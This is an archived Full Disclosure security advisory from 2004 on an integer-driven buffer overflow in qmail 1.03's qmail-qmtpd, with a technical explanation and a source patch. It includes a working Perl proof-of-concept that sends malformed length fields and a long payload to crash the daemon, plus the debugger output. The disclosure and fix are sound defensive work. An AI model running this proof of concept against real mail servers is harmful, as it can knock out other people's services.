Full Disclosure mailing list archives

Buffer overflow in qmail-qmtpd, yet still qmail much better than windows


From: Georgi Guninski <guninski () guninski com>
Date: Wed, 3 Mar 2004 16:25:20 +0200

Georgi Guninski security advisory #67, 2004

Buffer overflow in qmail-qmtpd, yet still qmail  much  better  than  windows

Systems affected:
tested on qmail 1.03 on linux

Risk:  Low - not in default install and i can't exploit it
Date: 3 March 2004

Legal Notice:
This Advisory is Copyright (c) 2004 Georgi Guninski.
You may distribute it unmodified.
You  may  not  modify   it   and   distribute   it   or   distribute   parts
of it without the author's written permission - this especially  applies  to
so called "vulnerabilities databases"  and  securityfocus,  microsoft,  cert
and mitre.
If   you   want    to    link    to    this    content    use    the    URL:
http://www.guninski.com/qmail-qmtpd.html
Anything in this document may change without notice.

Disclaimer:
The  information  in  this  advisory  is  believed   to   be   true   though
it may be false.
The opinions  expressed  in  this  advisory  and  program  are  my  own  and
not   of   any   company.    The   usual   standard   disclaimer    applies,
especially the fact that Georgi Guninski  is  not  liable  for  any  damages
caused by direct  or  indirect  use  of  the  information  or  functionality
provided  by  this  advisory  or  program.    Georgi   Guninski   bears   no
responsibility for  content  or  misuse  of  this  advisory  or  program  or
any derivatives thereof.

Description:

there is a buffer overflow in qmail-qmtpd.c if the env.   var.   RELAYCLIENT
is long between 4 and 1003.  A static buffer gets overflowed due to  integer
overflow.  I can't exploit it on linux,  though  it  may  turn  exploitable.

Details:

Basically the idea is it is possible getlen() to  return  (unsigned  long)-1
or -4 and then the check      
if (len + relayclientlen >= 1000) 
passes though len == (unsigned)-4.
Then len is used to copy in a static buffer.
The check for len  is  *before*  len  is  updated,  so  it  is  possible  to
update len and then return len.
A lot of memory gets overwritten including qq.  if a C  compiler  sets  ssin
after buf, i believe it will be exploitable.
The trick is that 
len = 10 * len + (ch - '0');
can return -1 if len == 0 and ch == '/'

How to reproduce:
--------------------------------------------------
[joro@sivokote tmp]$ ./qma-qmtpd.pl
qmail-qmtpd buffer overflow. Copyright Georgi Guninski
Cannot be used in vulnerability databases and similar stuff

<in another terminal>
ps awx
2080 pts/9    S      0:00 /var/qmail/bin/qmail-qmtpd
gdb attach 2080
cont
<in first terminal hit enter>

Program received signal SIGSEGV, Segmentation fault.
0x0804b096 in alarm ()
--------------------------------------------------

-qma-qmtpd.pl----
#!/usr/bin/perl -w

#Copyright Georgi Guninski\nCannot be used in vulnerability databases and 
#similar stuff

use IO::Socket;
use IO::Poll;

$ENV{"RELAYCLIENT"}="M\$UX";
open(SOCK,"|/var/qmail/bin/qmail-qmtpd");

my $req;
my $fromaddr="they\@m\$.weenies";
my $touser="postmaster";

print "qmail-qmtpd buffer overflow. Copyright Georgi Guninski\nCannot be used in vulnerability databases and similar 
stuff\n";

$req  = "1:\n,";
$req .= "1:V,";
$req .= "/:"; #biglen - this is how we code '-1'
$req .= ",:"; #len - this is how we code '-4'



print SOCK $req;
my $ch=getc();

$req = "v" x 100000;

print SOCK $req;
close SOCK;
-----------------

Fix:

Patch by me, use at your own risk:

-patch-----
--- ../qmail-1.03/qmail-qmtpd.c 1998-06-15 13:53:16.000000000 +0300
+++ qmail-qmtpd.c       2004-02-29 16:15:13.000000000 +0200
@@ -45,8 +45,8 @@
   for (;;) {
     substdio_get(&ssin,&ch,1);
     if (ch == ':') return len;
-    if (len > 200000000) resources();
     len = 10 * len + (ch - '0');
+    if (len > 200000000 || ch < '0' || ch > '9') resources();
   }
 }
 
@@ -193,8 +193,8 @@
         substdio_get(&ssin,&ch,1);
         --biglen;
         if (ch == ':') break;
-        if (len > 200000000) resources();
         len = 10 * len + (ch - '0');
+       if (len > 200000000 || ch < '0' || ch > '9') resources();
       }
       if (len >= biglen) badproto();
       if (len + relayclientlen >= 1000) {

-----------

Vendor status:
djb is aware of the bug

Georgi Guninski
http://www.guninski.com


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


Current thread: